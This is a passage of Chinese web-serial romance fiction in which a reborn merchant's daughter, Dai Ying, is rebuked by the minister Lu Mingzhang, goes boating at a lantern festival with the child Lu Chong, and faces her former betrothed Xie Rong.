戴缨是这么想的,不出意外就是她想的那种结果,说起来,这就是女儿家之间的小事,她将和盘托出,陆铭章接下来应当会说几句客套话,些事翻篇。
然而,她等了半晌,对面仍是没有言语,颈脖僵得咯吱咯吱作响时,陆铭章开口了。
“你若真想离开,不该同我说,向老夫人请辞便可。”
戴缨心里一紧,做不出任何反应,脸上热辣辣的,好在夜黑看不出来。身体里的脏器开始往内缩,缩成一团,更像是逃,只剩一身皮肉强撑。
脑子在短暂的嗡鸣后渐渐转醒。
一切的预设皆是她的自以为是,以为事情会按她的想法流动,然而她料错了一点,陆铭章不是会被随意带动的人。
她那点伎俩哪能瞒得过他?她玩砸了,还是搬起石头砸自己的脚。
正在思忖间,陆铭章进前一步,戴缨沉浸于反思过失,在陆铭章靠近时,下意识抬头。
距离小小的拉近,使她更加被动起来,因为心慌,或许还有心虚,心开始不受控制地乱蹦。
他的声音从始至终没有太大起伏:“小小年纪,莫要乱耍小聪明,做那刀口舔蜜的事。”
戴缨心里一紧,身子更僵了,不敢辩驳,只能应是。
“忘记上次那个故事了?”陆铭章说道,“脑子倒是机灵,只是用错了地方……”
戴缨会过意,他说的是有关贡品的故事,苏家小娘子想办法补救破损的绣画,故事里苏家因祸得福,结尾皆大欢喜,可实际并不是。
“大人的话,阿缨记得,不敢忘。”戴缨重新低下头,如同一个受训的孩子。
陆铭章看了她一眼,不再多说,转身离开了。
待他走后,戴缨这才发现,自己身后汗湿了一片,夜风一来,不由得打了一个寒噤。
回了揽月居,孔嬷嬷早早让人备下热水。
沐间水汽氤氲,半人高的木桶里荡着水波,水面花瓣浮动,丝丝烟气腾起。
归雁替自家主子除了衣衫,扶她入到桶内,刚一进入,水面漫出,湿了地面。
戴缨靠坐着桶沿,水面恰好漫过隆起的胸乳。荡漾的波光里,那轮廓仿佛有了生命,追随着水的律动。
烛光浅黄,透着帷暮更显朦胧。
轻纱一样的淡光浮于整个屋室,那露于水面的肌比纱还要白,如同纱下覆着的雪肌,织物掩罩,却遮不住底下原本的颜色。
她家娘子生得好模样,在家中对下人们也好,又聪明,很会做生意,更会看账目,谁也别想瞒过她的那双眼。
只是出身比那些官家小娘子差了。
若是老爷能看重小娘子几分,就算身为商户又怎样,一样能过得好,偏老爷认为她家主子是女儿身,不能承继家业。
指着后院的姨娘们给他生儿子哩!不是她说,若真能生儿子,早生了。
归雁一边舀水替戴缨湿发,一面在心里打抱不平,手里搓揉着水亮的乌发,又是一声叹。
正在此时,外间的孔嬷嬷走了进来,因戴缨回来晚了,叨唠起来。
“小娘子今日怎么回来这样晚,这个天虽说不冷,却也下露水,这不,软衫上湿了这样一大片。”说着,将手里的衣衫往前一伸,“这样最容易伤风。”
孔嬷嬷是戴缨的乳母,从戴缨出生便随在身边侍候之人,她抱戴缨的次数比戴母还多。
戴缨的衣食住行,无一样不经她之手,是个极为细心尽职的妇人,这么些年的相依相伴,她早已把戴缨当自家孩子看待,不论戴缨年岁几何,在她眼中仍是未长大的模样。
孔嬷嬷说着走到外间,嘴里的话仍碎碎传来。
“女儿家晚回总归不好,夜里黑,坏事、脏事都是摸黑发生的,人心不可测,白日里尽藏着,一到夜里,什么妖魔鬼怪都出来了。”
归雁隔着帷屏,笑道:“嬷嬷,你也忒谨慎了,这可是陆府,人前人后皆有人跟着,真要有什么坏事,不白养那么些人了?”
孔嬷嬷急急走进来:“你这丫头就是没心,被姐儿护惯了,坏人可会把坏写在脸上?他要害你时会提前告之于你?一个人真想害另一人性命,别管身前身后跟了多少人,总能让他寻到空档。”
归雁不甘示弱,回问道:“依您这样说,和着怎么样都不行,早回晚回又有什么区别。”
“那也不是,小娘子若能听嬷嬷我的话,定能平平安安,百无禁忌。”孔嬷嬷说道
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前世,戴缨咽气时只有归雁相陪,孔嬷嬷在她嫁给谢容不久,被陆婉儿以莫须有的罪名赶出府,无非就是想让她身边无人,更好被拿捏。
她忘不了孔嬷嬷离开时看她的那一眼,不舍、忧惧,还有一种更复杂的情绪……
她料准她接下来的路不好走,却不能伴在她的身侧。
戴缨心道,前一世孔嬷嬷若得知她身死的消息一定难过,然而两世为人的戴缨却不知,孔嬷嬷走在了她前面。
被赶出谢府的孔嬷嬷并没有回平谷戴家,而是留在了京都,靠给人做粗活为生,其实以她的本事,就算留在京都,再寻一户好人家当仆妇并不难。
但那样一来,便失了自由,而孔嬷嬷留于京都为的是方便随时应候戴缨的差遣、随时探知她的消息。
这位乳母不想离小主人太远。
因长时间劳累,再加上吃不好,从前丰腴的身子迅速干瘪下去。
一日,天蒙蒙亮,街上摆早市的还没出来,孔嬷嬷从一户人家做活出来,正穿过街面,一辆马车毫无征兆地从雾中驶出。
那会儿街上没人,等到熹光微露,天边染上一抹白,街上零星来往的人才看清,地上躺着一个人。
这件事情,戴缨无从得知,不论前世还是今生,她只知孔嬷嬷离了谢府,回了平谷老家。
知道或是不知道,戴缨都不会再让身边的人有事,她会护好她们。
从前的她不爱听孔嬷嬷唠叨,可现在却觉得格外安心。
“好,好,我就听嬷嬷的,嬷嬷说什么便是什么。”戴缨笑道。
孔嬷嬷心奇小主子今日怎么这样好说话,当下也不唠叨了,开始铺床熏香。
待一切理毕,这才出了屋室。
戴缨靠着木桶,任归雁替她揉洗头发,洗净后,戴缨又在水中浸了会儿才起身。
归雁拿小暖炉给戴缨烘发,院里的下人们进屋清理沐间。直到服侍戴缨睡下,丫鬟们才退出房门。
夜已深,所有人皆已睡下,戴缨却睡不着,睁眼躺在床上,望着帐顶,叹了一口气后从床上坐起,趿鞋下榻,走到窗榻边倚坐,小几上的香炉已经冷了。
她将窗扇推开,让月光照进来,更显一室的寂静,执起茶壶给自己倒了一盏凉茶,呷了一口,压下心头烦郁。
清辉的月色落到窗下人的细绢衫上,熏风一来,裹现衣下玲珑有致的轮廓,映透着雪肤。
不知是不是老天垂怜,给了她一次新生,可就算新生,这路仍是不好走。
她的新生不代表周围人变蠢了。
前世的她,困在那一方宅院,郁郁虚度直至死去,这一世,两脚刚刚迈出,却又遇到一座鳌山。
那是陆婉儿最大的倚仗,她的养父,陆铭章。
不同的是,前世的她连见他的资格都没有,而这一世,她见到了这个大人物……只是,没留下什么好印象……
第21章 他有错在先
陆溪儿将这些不堪的往事含糊道出,听话听音,不必说全,戴缨一听便明了。
于是低下头,看向等她回答的小儿。
小儿望着她的一对眼珠黑黝黝的,嘴巴微微张起,面上带着紧张和期盼。
一只小手仍抓着她宽大的袖摆。
拒绝的话戴缨有些说不出口,让她对着一个孩子扯谎,又更羞愧,就在她迟疑间,衣袖一松,那只小手放下,眼中的光亮暗下去,整个人像蒙上一层灰影。
她看在眼里,心里有些不落忍,可自己也只是客居于此,哪有能力顾及他人。
思来想去,仍是说道:“崇哥儿,晚些时候可问问你父亲,他若同意了,咱们便一道出府赏玩花灯,如此可好?”
陆崇圆圆的眼睛重新燃起光亮,高高扬起嘴角,嘴角边镶着两个笑窝。
戴缨心里叹着,多好的孩子啊!
小陆崇伸出手,又缩回,最后重新拉起戴缨的衣袖,腔音有些唯诺:“姐姐,你知道我的名字?”
戴缨点头道:“知道,我刚才唤你了。”
小陆崇步调变得轻快,好像再走快些,便能飞起来。
“我去同爹爹说,爹爹一定会让我去的,姐姐出府时不要忘记带上崇儿,若是没看见,就问下人们,好不好?”
戴缨心软得一塌糊涂,应道:“好,若你父亲点头,我便带你出府。”
“那咱们拉勾勾。”
小陆崇伸出小指,戴缨也伸出小指,勾了勾。
陆溪儿在一旁看着,故意逗他:“崇哥儿,你爹爹若是不同意,这勾勾不白拉了?”
小陆崇低下头,再次变得安静,回到先时怏怏不乐的模样。
不管高门还是蓬户,一般这个年纪的孩子,若是有人以唱反调的形式故意逗趣,他们便会以自己小小的气势去反驳,再不济也是嬉笑着回应。
而这孩子的反应不同。
他好像习惯了被压制,习惯别人说什么便是什么,习惯以沉默应对。
上午是游园,宽阔一点的路面以石板铺就,路面光洁平坦,两边是打理过的绿茵席,绿茵之上零星种着几棵不知名的树作为点缀,那树叶绿色居多,间或杂着几簇红叶、黄叶。
小径上铺着形状不规整的灰白石,石缝间留有短茬茬的青苔。
路两旁密密匝匝着半人高的植木,再走一段,转到另一条小径,半人高的植木变为拂裙裾的矮丛。
风中送来潺潺的水声,穿过几座山石,是一片碧清的湖溪,说它是湖因为表面阔大,说它是溪,因为能明显感到水流的漪澜。
湖溪上搭着一座小石桥。
这石桥更像装饰,并不能过人,两三人还罢,他们这主主仆仆的呼啦啦一群,真要走上去,只怕桥体承不住。
两位老夫人走了一会儿,有些累了,坐到亭间休憩,那亭间设有桌案,案上摆了各类水果、茶点。
除了何氏同姚氏两位年轻的媳妇伴在两位老夫人身侧,其他人各自散开,继续游园。
戴缨寻了一处临水的敞亭,倚着栏杆坐下,拿帕拭了拭汗。
“娘子,我让人端些茶、果来。”归雁说道。
戴缨点了点头。
陆溪儿带着丫头走了来,坐到一边,腔调中带着怨嗔:“当真是恼人。”
“刚才见你还晴着脸,笑呵呵地逗崇哥儿,怎么一转眼就阴了?”
“本是想着晚间咱俩出府,我带你好好转一转京都,现在不能了。”陆溪儿气得跌了跌脚。
戴缨也想见识一下京都的热闹,遂问道:“为何不行,你出不得府?”
陆溪儿攥着帕子,使劲一绞:“出府倒是能出府,就是咱们须随着陆婉儿一道,府里只调出那么些护卫。”说到这里,陆溪儿语调一扬,“若同她一起,那还不是由着她?咱们倒成了跟班。”
戴缨沉吟片刻,今晚京都热闹,必是大街小巷人流如粥,各处皆需人手值守。
陆铭章是文职,虽能调兵,却不掌兵,掌兵权在三衙手里,制度虽是如此,但这东西不好说……
不管陆铭章实际有无掌兵,肯定不会仅仅因为一个花灯节,调集人马给他看家护院。
是以,做出这种安排也合理。
理是这么个理,但戴缨比陆溪儿更不愿同陆婉儿出游。
陆婉儿这人太能生事,何况她看自己不顺眼,万一使出什么阴损手段,届时人又多又挤,自己岂不是防不胜防。
戴缨决定今夜不出街了,就在府里。
午后,众人回了各自的院子午歇,及至天色稍暗时,园中彩灯点亮。
戴缨仍睡着未醒,转了半日的园景,这一躺下便越睡越沉。
归雁立在院中,抬头往一个方向张望,云霭薄薄一层,映着绯色的辉光。
霞辉下,是一座七层高的楼阁,屋檐翘立,仿佛要穿插入云,楼里亮着,隐隐可观得人影走动。
“娘子,可起身了。”归雁轻轻叩响房门,见屋内无动静,又敲了敲。
戴缨从喉咙间呢喃一声,迫自己醒来。
归雁进屋点灯,伺候戴缨重整妆面,又重新换了一身翠色的花纱裙衫。
此纱稀贵,纱面由两种不同的纱质绞在一起形成暗花纹络,再加上纱质本身带着丝光,行止间便会有种别样的流彩,如云如烟。
戴家不少钱,吃穿上比一般权贵之家还要精细,戴缨对衣着很有讲究,缝人为她制衣,她会先让下人检查内里的做工。
若是做工不行,不论衣裳面料如何精贵,在她看来,这衣裳已经废了,根本不会上身去试。
是以,她所有的衣裳,必要做工细致,面料上乘,款式合身。
而此次戴缨来京,除了去青山寺为亡母乞佑,置了两套素衣,再没裁制过衣衫,这件翠色花纱衫还是从平谷带来。
妆扮好,主仆二人往**阁行去。
阁内灯火煌煌,戴缨一手捉裙,一手扶栏,拾级而上。
不知上到第几层,有些气喘,歇了一会儿,拿帕子拭了拭汗,又继续往上去。
好不容易走到顶层,已有丫鬟迎了上来,在前引路。
戴缨抚了抚胸口,气还没喘顺,已走到众人面前,上首仍坐着陆老夫人,只是三房老夫人不在,想是晚间没来。
其他人……戴缨来不及看,先向上行了万福,待老夫人笑着让她免礼,戴缨便起身,退到一侧寻位置坐下。
然而,就在她侧身走开时,周围的笑闹声骤然息止,说话声没了,笑声也没了,静着。
戴缨未醒完全的脑渐渐变得清明,因为安静得太过突然,她很自然地抬眼,先是看见不远处的陆婉儿,她的身边坐着谢珍。
她二人看向自己,脸上的神情带着幸灾乐祸的似笑非笑。
接着她的
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目光移到旁边的陆溪儿,只见她睁大双眼,眼皮下的眼珠不停地往一个方向溜去。
戴缨循着她的眼色往那个方向看。
这一看,整个人都不好了。
她先时以为是自己的衣衫或头饰出了错,这才让堂间安静,原来不是,而是另一种更糟的情况。
那里坐着一人,就坐在陆老夫人的左手边,着一袭缂丝鸦青色的圆领袍,襟前压了珊瑚纽子,迎光能瞧见衣摆处隐隐流动的云鹤纹,腰间系着金带,侧边悬了羊脂玉佩。
未戴官帽,只用一根白玉束发。
她居然直到现在才发现陆铭章坐在那里!
那她刚刚做了什么?向陆老夫人见了礼,就转身退下了,所以直接把他略过了?!
他本就对她没什么好印象,现在好了,不仅爱耍小聪明,还没有规矩。
难不成这会儿她再走到堂间,行一次礼?
正在戴缨进退不得之时,陆铭章向陆老夫人说道:“这丫头是个记仇的。”
死寂的四围,因为陆铭章这句话渐渐活了过来。
而且他们发现陆铭章的面上竟带了一丝笑意,虽然这个笑很浅很浅,这下可叫众人瞠目。
陆老夫人好奇道:“怎么说?”
陆铭章倾过身,挨近老夫人,不知低身说了什么,陆老夫人笑得前仰后合,看着戴缨说道:“既然有这一出,也是大人该的,不算失礼,是他有错在先。”
陆铭章将那晚训戴缨的话拣几句,向老夫人说了。
堂中众人不明所以,怀着好奇,姚氏最先出声,笑问:“大伯同老夫人说了什么?怎么不说出来叫咱们都听一听?”
平时姚氏也不敢这样发问,今日见陆铭章心情好,刚才好像还笑了,她便出头发问。
谁知陆铭章并不回答,只作未听见,姚氏面上又羞又急,不敢再多嘴。
而一旁的何氏却在心里叫好。这妯娌二人表面看起来和睦,其实私下并不对付。
三房姚氏会来事,嘴里俏皮话多,尤其到了陆老夫人跟前,比在自家婆母面前还会献殷勤。
二房的何氏嘴巴夯笨,可心里的窟窿并不比姚氏少,奈何嘴皮子不如姚氏油滑。
是以在陆老夫人面前她常常不如姚氏的脸,这会儿见姚氏被陆铭章无视,叫她如何不痛快。
陆铭章同老夫人说道:“天色再暗一些,家下人开始放烟火。”
老夫人点了点头。
陆铭章转头对两房夫人说道,“妹妹们同老夫人多说说话。”
两房夫人忙起身应是。
陆铭章又对老夫人道了一句:“儿子还要去那边,先告退了,若是小辈们吵闹,母亲多担待。”
**阁的家宴分男、女席。
女眷便是陆老夫人这边,陆铭章作为家主到这边来陪一陪,落后仍回男席。
“你去罢,只是让人把崇儿送来,那孩子在他爹跟前指定无趣,让他过来玩一玩。”
“是。”
陆铭章应下,站起身,向众人说道:“大家且坐,我少陪片刻。”
众人起身,目送其离去。
过了一会儿,小陆崇被一个嬷嬷牵了来,来了后在人群搜寻,目光在触到戴缨时,瞬间亮起,甩开嬷嬷的手径直往戴缨走去。
“姐姐,姐姐,我父亲同意我出府了。”
戴缨怔了怔,可是今夜她不打算出府……
第22章 那艘船要撞上来
从**阁可俯瞰大半个京都,视野极佳。
戴缨打算今晚就在**阁陪陪老夫人,也能看街市的灯花会,并不打算出府。谁知小陆崇兴兴头跑来,说他今夜可以出府。
“姐姐你别忘了,咱们拉过勾勾,不许反悔。”小陆崇爬坐到椅上。
戴缨看着小儿那双晶亮的眼眸,微笑道:“好,不反悔。”
一语毕,戴缨就见他的两条小短腿因为高兴而摆动起来。
又过了一会儿,菜馔开始上桌,众人依次序就座。
莹莹灯火中,席间菜肴罗列堆叠,牛、羊、鸡鸭各类鲜肉,有蒸的、炸的、炒的,还有不曾见过的各类果蔬,丫鬟们执壶围侍,从旁递酒、倒酒。
因着节日,便把食不言的规矩撇到一边,只图热闹,这方语笑喧阗,亦能隐隐听到隔壁男席的说话声和盈耳的管弦声。
吃了一会儿,众人开始玩起游戏。
戴缨酒量不好,只吃了一盏,怕坐在那里叫她们再续,于是起身走到外间。
倚坐在栏杆边,手支着下颌,看街市的灯火。这么看去,星星点点的火光像流萤一样浮动着。
这时,听到里面人说着:“放烟火了,放烟火了……”
屋里的人纷纷走出,天上绽放花火,五颜六色,坊市间的人们俱驻足观看,拍手叫好。
就在戴缨看得入迷之时,被人拉了一下。
“姐姐,出府观花灯。”陆崇拉着戴缨。
戴缨抬头往四周看了看,就见陆溪儿立在不远处对她招手,于是拉着小陆崇往那边走去。
“我同老夫人请示过,咱们可以出府了。”陆溪儿说道,“陆婉儿和谢珍已下去了。”
戴缨点了点头,两大一小下了**阁,七拐八绕出了角门。
门前停了三辆马车,头一辆坐着陆婉儿和谢珍,戴缨几人上了中间一辆,最后一辆是给丫鬟们。
马车走了一程,行到一个地方停下,此时已能清晰地听到沸沸人声。
几人下了马车,往正街走去,身后随着常服装扮的护卫。
街市的热闹同陆府光晕中的欢颜笑语不同,更有烟火气。
陆婉儿看向戴缨,又看了眼周围的护卫,最后将目光落到陆崇身上,低下身说道:“崇哥儿,城西那爿不仅有花灯,还有百戏呢,你要不要去?”
小陆崇听说,点了点头。
陆婉儿直起身,看向戴缨和陆溪儿:“崇哥儿想去城西,我和珍儿去城东的星月湖,坐游船赏湖景,咱们还是别一道了。”
陆溪儿巴不得一声,戴缨亦然,就这么,本该一齐的几人,分头走向相反的方向,一方往东,一方往西。
随从们也分成两拨。
谁知才走没几步,陆崇拉住戴缨的手,说道:“我也想去游湖。”
“嗳!这么一说,我也想去观湖景。”陆溪儿插话道,“别去城西了,人多不说,就是些耍百戏的,几时想看,请到家里看也是一样,坐船游湖罢?”
戴缨想了想觉着可行,于是改了方向,往城东的星月湖行去。
城东的星月湖较偏远,需乘马车,湖边的游人相较正街稀少许多。
戴缨三人下了马车,从湖堤往湖面看去。
灯火和月色交映下,可观得湖边游人往来,湖面浮着不少船只,船上的光倾入水中,把水面染成鎏金色。
小陆崇两只眼睛,恨不得分开看,一只眼看湖面,一只眼看湖面上的小摊贩。
于是顾不上说话,拉着戴缨和陆溪儿往小摊贩奔去。
走到一个糖人摊,便说:“我想要这个。”
看顾陆崇的田婆子赶紧摆手:“这不行,这不行,吃坏肚子。”
陆崇又走到另一个摊位,指着五颜六色的糕点:“买这些,这些好看。”
田婆子上前瞅了一眼,说道:“我的哥儿,咱们不吃外面的东西,你若有个不好,回去老奴交代不了,要遭骂的。”
戴缨同陆溪儿对看一眼,从对方眼里看出无奈。
“你们不买别占地儿,往旁边去,咱们还要买呢!”后面一个妇人牵着自己孩子挤上前,低头问,“想要哪样的?”
小儿拿手点了几个绿色、黄色、玫红色的糕点:“娘,我要这三种。”
戴缨几人退到一边,往后再看,小摊前已排起长队。
小陆崇牵着戴缨的手,低着头不说话了,过了一息,又抬起眼,眼馋地看向其他孩子手里的油纸包。
戴缨想了想,说道:“崇哥儿,咱们去坐游船可好?”
陆崇一听,脸上露出笑,狠狠点头,于是众人下到湖边,找了一艘干净的小船屋。
这些小船是专程载客游湖来的,船内布置干净整洁,还有小窗,窗下设有桌几和座板。
戴缨三人上了船只,因船身小,带了几个随从,剩下的随从留在岸上。
船行湖中,船娘走了来,问可要吃食。
戴缨从前在平谷时常游湖,知道船上的餐食皆是提前热好的,不比酒楼现做的新鲜。
“拣些酸甜的果脯和其他小食来,再送几壶茶水。”
船娘子应着去了,不一会儿,每桌上了几碟果脯、小食,还有茶水。
陆崇趴在窗上,瞪大双眼,一会儿看远远近近的船只,一会儿低头看水面,又忙坐下,让嬷嬷给他净手,准备吃小食。
偏那婆子怕担责,准备唠叨,戴缨忙笑着开口道:“嬷嬷也别太操心了,这些船家都是代做水上生意的,府衙登记在册,不比随路的小摊,吃食还算干净。”
婆子听戴缨如此说,不好再说什么,
戴缨给归雁睇眼色,归雁会意,对田婆子笑道:“嬷嬷看顾小阿郎,看顾了一路,这会儿
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在水上呢,跑不丢的,您去咱们那桌坐坐,只当赏咱们脸了,吃吃茶点垫肚子。”
因着陆崇不同于别家子弟,曹氏的脾气又古怪,不好伺候,田婆子整日提心吊胆,照顾陆崇就如同供那座上佛,不,比那佛像还费心神。
而且,小孩家家有个小病小灾的,再正常不过,偏崇哥儿不能有,一有点问题,他们这些做下人的,尤其是她,少不了一顿责罚。
这会儿子出来,也想松松神,听了归雁的奉承话,心里受用,便随她往船尾那桌去了。
嬷嬷走后,小陆崇开始吃吃喝喝,一会儿拿这个尝两口,一会儿拿那个尝两口。
又自己给自己倒茶,茶水从杯沿漫出来,他便拿指头蘸着水渍在桌上写写画画。
玩一会儿,又跪坐在座上,把头探向窗外吹风,看湖上来往的船只。
“他倒是亲你,平日我同他说话,他都爱搭不理的。”陆溪儿往嘴里放了一粒果脯。
戴缨笑着拈了一颗红色的果仁,腕子上的玉镯和银镯因着动作,磕碰出清脆的声响。
陆溪儿目光落到戴缨的指尖,又将目光移到那一截雪白的酥腕上,伸手拉住,细细瞧,细细看。
“书上说,美人儿手,手如柔荑,肤如凝脂。”陆溪儿喃喃道,“我还道是夸大其词,原来真有,缨娘,你姿容不俗,可世间并不缺姿容上乘的女子,千百种的美姿容。”
“就拿咱们京都来说,宫里的太后娘娘,那可是一等一的大美人儿,可你这双手却是少有,呐,你看……”陆溪儿将戴缨的手心朝下,背朝上,指点道:“指节均匀,甲壳饱满粉泽,指尖细细,你再瞧我的……”
陆溪儿说着伸出自己的手,同戴缨的手并在一起,戴缨笑着收回手:“咱们坐船赏景,你倒好,这样好的夜景不赏,专看手来?”
陆溪儿笑起来,不知想到什么,叹了一声:“可惜了,你这人哪哪都好,就是出生……”
说到这里,陆溪儿止住话头,转看向湖面,戴缨也将头转向湖面。
湖风没了白日的燥热,裹挟着凉凉的潮意。
戴缨眯了眯眼,看着被灯火映照的湖面,看着远处光晕中的一艘艘船只,慢慢放空自己。
这时,身侧的小陆崇叫了一声:“那艘船是不是要撞上来?”
戴缨和陆溪儿一齐看去,安慰道:“只是靠得近了些,船家会错开的。”
正说着,对面的船靠得更近了,渐渐地,两条船齐平,船头对船尾,船尾对船头。
两条船大小差不多,船上也搭了一个小屋,小屋开了一扇正正方方的窗,窗扇开着。
窗下坐着一双男女。
女子不知听到什么,脸上带着娇羞,掩嘴轻笑,对面的男子却将头转向窗外,在看到对面的戴缨时,眼睫一霎,怔愣住……
第23章 温热的起伏
大衍朝对女子抛头露面没有律法上的限制,尤其是底层百姓人家,毕竟还需女子出来做活补贴家用。
而权贵家的女眷们大多出门有车,有仆从,不怎么露脸。
可这男女私会,若叫人知晓会不光彩,不论什么样的人家皆是如此。
但花灯节这日不同,本身花灯就有寄相思之意,许多有情男女借着节日的热闹,私下见一见,这种事既公开又私密。
公开是因为大家默认了这一行径,私密是因为不能叫人发现,私会仍需避着,一旦拿出来见光,那就是件可小可大的事情。
戴缨一侧头便看见了谢容。他也看见了她,接着两只船身迅速错开。
戴缨有些不懂,不管谢容出于什么目的,既然选择了陆婉儿,为何被她瞧见时,眼中又闪过无措的愧疚,像是要解释,开了口却又不知说什么。
这让她不得不想到上一世,在纳她为妾后,他歇在她屋里。
他会搂着她,握着她的手,捏一捏她的指尖,然后将她的手放到胸口,去感受那处温热的起伏。
亦会极尽柔情地同她温存。
她从不怀疑谢容是否真心,是有的,有过真心。那可是自小伴到大的情谊。
她想不通的是……想不通的是……
为何十年,整整十年,在她失了他们的孩子后,他不再看她一眼,不进她的院子一步,绝情到那样一种地步。
若是厌弃了,在她请求离开时,他又不放手。
最后,她的身体渐渐失了温度,他抱着她,近乎崩溃。
“缨娘,缨娘……”
戴缨回过神,发现陆溪儿正在叫她。
“怎么了?”戴缨问道。
“我刚才好像看见陆婉儿了,只看见一个影儿。”陆溪儿往窗外张望,“好像对面还坐了一人,像是个男……”
陆溪儿看向戴缨,压低声:“是你家那位表兄?”
戴缨笑着摇了摇头:“没看清。”
陆溪儿略带同情地看向戴缨:“那该是你的姻缘,却被陆婉儿抢了。”
戴缨淡淡回道:“若是我的姻缘,抢不走,能抢走的,也不牢靠。”
这时,小陆崇拉住戴缨,懵懂道:“什么是姻缘?”
陆溪儿噗嗤一笑:“姻缘就是给人当媳妇。”
小陆崇张了张眼,在戴缨面上看了又看,皱起稀疏的眉头,做下决定:“那姐姐给我爹爹当媳妇。”
戴缨正往嘴里送茶,一听这话,被茶水呛得猛咳,陆溪儿忙起身,走到戴缨身边,替她顺气。
等到好一些了,戴缨拭了拭眼角的泪星儿,心想着,若能得老夫人垂怜,指一门好亲,自然是再好不过,却也没想过给人当继母。
不及戴缨开口,陆溪儿却怕戴缨当了真,抢说道:“小孩子家家的懂什么,快别乱说了。”
以他们陆家的门第和盛荣,就算三叔续弦,也轮不上戴缨,怕她起了不该有的心思,反害了她。
戴缨怎会不清楚,就算她愿意,这高门大户家的继室也轮不上她,自有家世显赫的贵女们相配。
游船在湖面转了几转,湖边的游人渐渐稀少。戴缨等人让船靠了岸。
众人到了岸上,归雁正帮戴缨整理裙摆,一人忙忙走了过来,开张口便是刺耳的调。
“你倒会享受,在陆府住了些时日便真当自己是陆家人,端得姿态越发高了,反叫我在岸边孤零零一个儿。”
戴缨看去,来人正是谢珍。
适才在船上没见着她,想是陆婉儿不让她跟随,独留她在岸上吹冷风,这会儿却把气撒到自己身上。
戴缨笑了笑,佯装道:“这可怨不得我,事先说好的,你同婉姐儿一路,莫不是你二人拌嘴了?她丢下你一人?”
谢珍咬了咬唇,憋了一肚子的气。
她同陆婉儿到了星月湖,她就将自己支开。以为她不知道她要做什么,不就是私会她家兄长么。
谁知自己左等右等,却被告知,她已带人离开。
不过这会儿她在岸上专等戴缨,却是有别的事,于是将她拽到一边:“我母亲也来了,她要见你。”
戴缨心里一紧,戴万如来了?她找她总归不会有好事。
“姑母可说了什么事情?”
“她要见你,还需什么理由不成?”谢珍说着向一个方向行去。
戴缨回身同陆溪儿招呼了一声,随上谢珍的脚步。
因游人逐渐散去,光亮弱了许多,树上悬挂的灯也已熄灭。没走一会儿,前面出现一间水榭。水榭里亮着昏黄的灯光。
谢珍立住脚,拿下巴指了指:“进去罢。”
戴缨往水榭行去,归雁想要跟着,却被拦下。
戴缨走到水榭前,捉裙上阶,心里有些疑惑,她在湖中泛舟,谢珍是怎么知道的?
陆婉儿告知于她?可陆婉儿上岸后并未和她碰面,径直回了陆府。若不是陆婉儿,那就……
戴缨脑子一炸,当下转身就要离开,却也来不及了,一个力道将她拽回,跟着,谢容的声音冷冷传来。
“你先是让我当着陆家人的面解除婚契,如今你攀上陆府的高枝,我还道你心性单纯,原来藏了这等心思。”
戴缨挣脱不得,手腕被他攥得死死的。
“兄长说什么,缨娘不明白。”
谢容将戴缨往身前一拉,冷笑一声:“不明白?你当初怎么说的,说一切都是作戏,为的是长长久久和我在一起,是也不是?!”
戴缨不愿同他费口舌,气骂道:“谢容,你把手拿开!”
谢容不为所动,仍是沉眼看她,戴缨无法,缓缓吁出一口气:“兄长放手,你若真想要一个说法,缨娘给你一个说法便是,这样拉拉扯扯太过失礼。”
谢容怔愣的一瞬,戴缨才将手从他掌间抽出。
“兄长,我且问你,你先前说,
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娶陆婉儿只为借陆家的势,有没有这个话?”
“不错。”
戴缨往临水的一面走去,走到窗边眺望湖面,声音随风传来:“既然如此,兄长又哪来的底气说出‘抬我为平妻’之言?”
谢容走到戴缨身后,想要再靠近,戴缨却开口:“兄长止步,再往前……缨娘便跳下去了。”
他没想到她避他至此,她才来时,明明不是这样,从什么时候开始转变的。
“阿缨,你要信我,待我寻到时机,必会兑现承诺。”
戴缨任风扑在面上,问了一句:“什么时机?要等多少年,十年?十年够不够?”说着,自嘲地笑了笑,又自言自语道,“十年不够。”
戴缨转过身,看向谢容:“兄长说纳我为妾的同时,有无想过,阿缨之后会过怎样的日子?”
谢容想要说什么,却被戴缨抬手止住。
“若陆婉儿欺压于我,兄长要如何?陆婉儿是什么脾性,你比我更清楚,毕竟……在阿缨还未到京都之前,你们就结识了,不是么?”
上次陆溪儿无意中说起,有一年的花灯节,陆婉儿乘着马车,堵于街市,明明有那么些护卫可送她离开,却死不下马车。
后来还是陆铭章调了禁卫前来开道,才让马车驶离。
花灯节这一日许多男女会借机私会。
那日马车里谢容也在,既然已经搭上了陆婉儿,却还让人接她来京都!
她恨戴万如的恶毒,也恨陆婉儿的跋扈,可她最该恨的是谢容。
“兄长有何面目来质问我?”
谢容垂下双眼,静了一会儿,开口道:“没错,在你来京都之前,我同陆婉儿已相识。”
“都说我年轻有为,才能出众。”谢容嗤笑道,“天下才能出众者何其多,能真正走到人前,立于庙堂的又有几个?我若不替自己筹谋,直到死也只是一个破教书的。”
“面上光鲜,手里却并无实权。”谢容抬头看向戴缨,脸上是一种难言的痛苦,“阿缨——我要权,权利!你懂不懂?”
戴缨冷眼看着,点了点头:“想要登极,此乃常情,谁人不想站得更高,可兄长不该贪心,两头都要,既要权,又要阿缨的依附,如此,将阿缨置于何地?”
谢容不明白,戴缨为何这样较真,他对她的心意绝不会因为一个陆婉儿改变,这一点他很肯定。
“阿缨,不论你怎么想,你最终的选择只能是我,至于你担心被婉儿欺压,放心,她既嫁入我府上,这种事情便不会有……”
“若有呢?”戴缨截断他的话,直直逼问,“若有,你又能怎样,她的背后是陆家,是陆铭章,你谢容又算什么?!”
谢容怔在那里,半天回不过神。
他娶陆婉儿为就是借陆家的势,然而,他在享受这条捷径的同时,也受制于人。
两人正说着,远处传来轰隆隆的震动……
第24章 大人在怀疑我?
谢容侧头看向声源,接着快步走到另一扇窗前,倾身往外张望。
不看还好,一看之下,大惊失色,只见远处的湖堤亮起许多火把,火把在移动,还有马蹄纷沓声。
“大哥,来人了,陆府来人了!你快走!”谢珍的声音从外传来。
谢容往戴缨的方向看了一眼,转身离开了。
待谢容走后,戴缨从水榭走出,行到谢珍面前,在她未反应过来前,“啪——”的一声,一个耳刮抽了过去,将谢珍的脸打得一偏。
“你……你……打我?!你敢打我!”
戴缨脸上没有一丝表情:“再有下次,别怪表姐不给你脸。”说着走到她的身侧,睨下眼,“我一个商女,不及表妹的金玉之质,用我这不值钱的命,换你的大好前程,怎么看,都是我赚。”
谢珍捂着脸,哆嗦着嘴巴:“戴缨……你……你……”说了半天,说不清楚一句话。
